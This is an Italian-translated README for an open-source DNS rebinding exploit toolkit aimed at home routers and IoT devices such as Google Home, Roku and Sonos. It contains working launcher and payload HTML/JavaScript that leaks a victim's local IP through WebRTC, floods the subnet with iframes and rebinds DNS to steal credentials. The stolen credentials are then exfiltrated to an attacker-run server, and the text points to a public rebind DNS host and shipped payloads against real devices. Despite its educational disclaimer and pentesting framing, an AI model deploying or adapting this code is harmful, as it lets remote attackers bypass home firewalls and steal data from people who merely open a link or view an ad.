
Un toolkit JavaScript front-end per creare attacchi di DNS rebinding.
Demo | Avviso di Sicurezza | Payload Inclusi | FAQ
DICHIARAZIONE DI ESCLUSIONE DI RESPONSABILITÀ: Questo software è solo per scopi educativi. Questo software non deve essere utilizzato per attività illegali. L'autore non è responsabile per il suo utilizzo. Non fare lo stronzo.
DNS Rebind Toolkit è un framework JavaScript lato frontend per sviluppare exploit di DNS Rebinding contro host e servizi vulnerabili su una rete locale (LAN). Può essere utilizzato per prendere di mira dispositivi come Google Home, Roku, altoparlanti WiFi Sonos, router WiFi, termostati "intelligenti" e altri dispositivi IoT. Con questo toolkit, un attaccante remoto può bypassare il firewall di un router e interagire direttamente con i dispositivi sulla rete domestica della vittima, esfiltrando informazioni private e, in alcuni casi, controllando persino i dispositivi vulnerabili stessi.
L'attacco richiede che una vittima sulla rete di destinazione si limiti a seguire un link, o veda un annuncio HTML contenente un iframe dannoso. Da lì, il browser web della vittima viene utilizzato come proxy per accedere direttamente ad altri host connessi alla sua rete domestica. Queste macchine e servizi di destinazione sarebbero altrimenti non raggiungibili dall'attaccante da Internet. L'attaccante remoto potrebbe non sapere quali siano questi servizi o quali indirizzi IP occupino sulla rete della vittima, ma DNS Rebind Toolkit gestisce la cosa provando a forza bruta centinaia di indirizzi IP probabili.
Sotto il cofano, questo strumento utilizza un server DNS whonow pubblico in esecuzione su rebind.network:53 per eseguire l'attacco di rebind DNS e ingannare il browser web della vittima facendogli violare la Same-origin policy. Da lì, utilizza WebRTC per divulgare l'indirizzo IP privato della vittima, ad esempio 192.168.1.36. Usa i primi tre ottetti di questo indirizzo IP locale per indovinare la sottorete della rete e quindi inietta 256 iframe, da 192.168.1.0 a 255, consegnando un payload a ciascun host che potrebbe trovarsi sulla sottorete di rete.
Questo toolkit può essere utilizzato per sviluppare e distribuire i propri attacchi di DNS rebinding. Diversi payload di attacco reali sono inclusi con questo toolkit nella directory payloads/. Questi payload includono attacchi di esfiltrazione di informazioni (e scherzi rickroll) contro alcuni popolari dispositivi IoT, inclusi i prodotti Google Home e Roku.
Questo toolkit è il frutto di una ricerca di sicurezza indipendente sugli attacchi di DNS Rebinding. Puoi leggere la ricerca originale qui.
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# install dependencies
npm install
# run the server using root to provide access to privileged port 80
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server
Per impostazione predefinita, server.js serve payload mirati a Google Home, Roku, altoparlanti Sonos, lampadine Phillips Hue e dispositivi Radio Thermostat che eseguono i loro servizi rispettivamente sulle porte 8008, 8060, 1400, 80 e 80. Se possiedi uno di questi dispositivi sulla tua rete domestica, naviga su http://rebind.network per una bella sorpresa ;). Apri la console dello sviluppatore e guarda come questi servizi vengono sfruttati in modo innocuo, causando il furto di dati da essi e la loro esfiltrazione verso server.js.
Questo toolkit fornisce due oggetti JavaScript che possono essere utilizzati insieme per creare attacchi di DNS rebinding:
DNSRebindAttack: Questo oggetto viene utilizzato per lanciare un attacco contro un servizio vulnerabile in esecuzione su una porta nota. Genera un payload per ciascun indirizzo IP che si sceglie di prendere di mira. Gli oggetti DNSRebindAttack sono usati per creare, gestire e comunicare con molti oggetti DNSRebindNode. Ogni payload lanciato da DNSRebindAttack deve contenere un oggetto DNSRebindNode.DNSRebindNode: Questa classe statica dovrebbe essere inclusa in ogni file HTML di payload. Viene utilizzata per prendere di mira un servizio in esecuzione su un host. Può comunicare con l'oggetto DNSRebindAttack che lo ha generato e dispone di funzioni helper per eseguire l'attacco di DNS rebinding (usando DNSRebindNode.rebind(...)) nonché per esfiltrare i dati scoperti durante l'attacco verso server.js (DNSRebindNode.exfiltrate(...)).Questi due script vengono usati insieme per eseguire un attacco contro host sconosciuti su una LAN protetta da firewall. Un attacco di base si presenta così:
http://example.com/launcher.html. launcher.html contiene un'istanza di DNSRebindAttack.http://example.com/launcher.html è incorporato come iframe. Questo fa sì che DNSRebindAttack su launcher.html inizi l'attacco.DNSRebindAttack utilizza una perdita WebRTC per scoprire l'indirizzo IP locale della macchina della vittima (ad esempio 192.168.10.84). L'attaccante usa queste informazioni per scegliere un intervallo di indirizzi IP da prendere di mira sulla LAN della vittima (ad esempio 192.168.10.0-255).launcher.html lancia l'attacco di DNS rebinding (usando DNSRebindAttack.attack(...)) contro un intervallo di indirizzi IP sulla sottorete della vittima, prendendo di mira un singolo servizio (ad esempio l' disponibile sulla porta ).Nota: se un utente ha un dispositivo Google Home sulla propria rete con un indirizzo IP sconosciuto e viene lanciato un attacco contro l'intera sottorete 192.168.1.0/24, allora l'attacco di rebind di un DNSRebindNode avrà successo e 254 falliranno.
Un attacco consiste in tre script e file coordinati:
DNSRebindAttack (ad esempio launcher.html)payload.html). Questo file viene incorporato in launcher.html da DNSRebindAttack per ciascun indirizzo IP preso di mira.server.js) per consegnare i file sopra e esfiltrare i dati se necessario.launcher.htmlEcco un esempio di file HTML lanciatore. Puoi trovare il documento completo in examples/launcher.html.
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)
// Launch a DNS Rebind attack, spawning 255 iframes attacking the service
// on each host of the subnet (or so we hope).
// Arguments are:
// 1) target ip addresses
// 2) IP address your Node server.js is running on. Usually 127.0.0.1
// during dev, but then the publicly accessible IP (not hostname)
// of the VPS hosting this repo in production.
// 3) the HTML payload to deliver to this service. This HTML file should
// have a DNSRebindNode instance implemented on in it.
// 4) the interval in milliseconds to wait between each new iframe
// embed. Spawning 100 iframes at the same time can choke (or crash)
// a browser. The higher this value, the longer the attack takes,
// but the less resources it consumes.
rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
// rebind.nodes is also an EventEmitter, only this one is fired using
// DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
// iframes to post messages back to the parent DNSRebindAttack that
// launched them. You can define custome events by simply emitting
// DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
// can receive it. That said, there are a few standard event names that
// get triggered automagically:
// - begin: triggered when DNSRebindNode.js is loaded. This signifies
// that an attack has been launched (or at least, it's payload was
// delivered) against an IP address.
// - rebind: the DNS rebind was successful, this node should now be
// communicating with the target service.
// - exfiltrate: send JSON data back to your Node server.js and save
// it inside the data/ folder.
// Additionally, the DNSRebindNode.destroy() static method
// will trigger the 'destory' event and cause DNSRebindAttack to
// remove the iframe.
rebind.nodes.on('begin', (ip) => {
// the DNSRebindNode has been loaded, attacking ip
})
rebind.nodes.on('rebind', (ip) => {
// the rebind was successful
console.log('node rebind', ip)
})
rebind.nodes.on('exfiltrate', (ip, data) => {
// JSON data was exfiltrated and saved to the data/
// folder on the remote machine hosting server.js
console.log('node exfiltrate', ip, data)
// data = {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
})
}
</script>
</body>
</html>
payload.htmlEcco un esempio di file HTML payload. Puoi trovare il documento completo in examples/payload.html.
<!DOCTYPE html>
<html>
<head>
<title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">
attack()
.then(() => {},
err => {
// there was an error at some point during the attack
console.error(err)
DNSRebindNode.emit('fatal', err.message)
}
) // remove this iframe by calling destroy()
.then(() => DNSRebindNode.destroy())
// launches the attack and returns a promise that is resolved if the target
// service is found and correctly exploited, or more likely, rejected because
// this host doesn't exist, the target service isn't running, or something
// went wrong with the exploit. Remember that this attack is being launched
// against 255+ IP addresses, so most of them won't succeed.
async function attack() {
// DNSRebindNode has some default fetch options that specify things
// like no caching, etc. You can re-use them for convenience, or ignore
// them and create your own options object for each fetch() request.
// Here are their default values:
// {
// method: "GET",
// headers: {
// // this doesn't work in all browsers. For instance,
// // Firefox doesn't let you do this.
// "Origin": "", // unset the origin header
// "Pragma": "no-cache",
// "Cache-Control": "no-cache"
// },
// cache: "no-cache"
// }
const getOptions = DNSRebindNode.fetchOptions()
try {
// In this example, we'll pretend we are attacking some service with
// an /auth.json file with username/password sitting in plaintext.
// Before we swipe those creds, we need to first perform the rebind
// attack. Most likely, our webserver will cache the DNS results
// for this page's host. DNSRebindNode.rebind(...) recursively
// re-attempts to rebind the host with a new, target IP address.
// This can take over a minute, and if it is unsuccessful the
// promise is rejected.
const opts = {
// these options get passed to the DNS rebind fetch request
fetchOptions: getOptions,
// by default, DNSRebindNode.rebind() is considered successful
// if it receives an HTTP 200 OK response from the target service.
// However, you can define any kind of "rebind success" scenario
// yourself with the successPredicate(...) function. This
// function receives a fetch result as a parameter and the return
// value determines if the rebind was successful (i.e. you are
// communicating with the target server). Here we check to see
// if the fetchResult was sent by our example vulnerable server.
successPredicate: (fetchResult) => {
return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
}
}
// await the rebind. Can take up to over a minute depending on the
// victim's DNS cache settings or if there is no host listening on
// the other side.
await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
} catch (err) {
// whoops, the rebind failed. Either the browser's DNS cache was
// never cleared, or more likely, this service isn't running on the
// target host. Oh well... Bubble up the rejection and have our
// attack()'s rejection handler deal w/ it.
return Promise.reject(err)
}
try {
// alrighty, now that we've rebound the host and are communicating
// with the target service, let's grab the credentials
const creds = await fetch(`http://${location.host}/auth.json`)
.then(res => res.json())
// {
// "username": "crashOverride",
// "password": "hacktheplanet!",
// }
// console.log(creds)
// great, now let's exfiltrate those creds to the Node.js server
// running this whole shebang. That's the last thing we care about,
// so we will just return this promise as the result of attack()
// and let its handler's deal with it.
//
// NOTE: the second argument to exfiltrate(...) must be JSON
// serializable.
return DNSRebindNode.exfiltrate('auth-example', creds)
} catch (err) {
return Promise.reject(err)
}
}
</script>
</body>
</html>
server.jsQuesto script viene utilizzato per consegnare i file launcher.html e payload.html, nonché per ricevere e salvare i dati esfiltrati da DNSRebindNode nella cartella data/. Durante lo sviluppo, di solito eseguo questo server su localhost e punto DNSRebindAttack.attack(...) verso 127.0.0.1. Per la produzione, eseguo il server su un VPS cloud e punto DNSRebindAttack.attack(...) al suo indirizzo IP pubblico.
# run with admin privileged so that it can open port 80.
sudo node server
usage: server [-h] [-v] [-p PORT]
DNS Rebind Toolkit server
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT Which ports to bind the servers on. May include
multiple like: --port 80 --port 1337 (default: -p 80
-p 8008 -p 8060 -p 1337)
Ho incluso un server vulnerabile di esempio in examples/vulnerable-server.js. Questo servizio vulnerabile DEVE essere eseguito da un'altra macchina sulla tua rete, poiché la sua porta DEVE corrispondere alla stessa porta di server.js. Per eseguire tu stesso questo attacco di esempio, fai quanto segue:
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit
# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000
node server --port 3000
Ora, naviga nel tuo browser su http://localhost:3000/launcher.html e apri una console di sviluppo. Aspetta un minuto o due; se l'attacco ha funzionato, dovresti vedere delle credenziali scaricate dal server vulnerabile in esecuzione sul computer secondario.
Dai un'occhiata alle directory examples/ e payloads/ per ulteriori esempi.
server.js: Il server DNS Rebind Toolkitpayloads/: Diversi file HTML di payload realizzati a mano per prendere di mira alcuni dispositivi IoT vulnerabili. Include attacchi contro Google Home, Roku e Radio Thermostat per ora. Mi piacerebbe vedere più payload aggiunti a questo repository in futuro (PR benvenuti!)examples/: File di esempio di utilizzo.data/: Directory in cui vengono salvati i dati esfiltrati da DNSRebindNode.exfiltrate(...).share/: Directory di file JavaScript condivisi da più file HTML in examples/ e payload/.Questo toolkit è stato sviluppato per essere uno strumento utile per ricercatori e penetration tester. Se desideri vedere alcune delle ricerche che hanno portato alla sua creazione, dai un'occhiata a questo post. Se scrivi un payload per un altro servizio, considera di fare una PR a questo repository in modo che altri possano beneficiare del tuo lavoro!
8008DNSRebindAttack incorpora un iframe contenente payload.html nella pagina launcher.html. Ogni iframe contiene un oggetto DNSRebindNode che esegue un attacco contro la porta 8008 di un singolo host definito nell'intervallo di indirizzi IP attaccati. Questo processo di iniezione continua finché non è stato iniettato un iframe per ciascun indirizzo IP preso di mira dall'attacco.payload.html iniettato utilizza DNSRebindNode per tentare un attacco di rebind comunicando con un server DNS whonow. Se riesce, la same-origin policy viene violata e payload.html può comunicare direttamente con il prodotto Google Home. Di solito payload.html sarà scritto in modo tale da effettuare alcune chiamate API al dispositivo di destinazione ed esfiltrare i risultati a server.js in esecuzione su example.com prima di terminare l'attacco e distruggersi.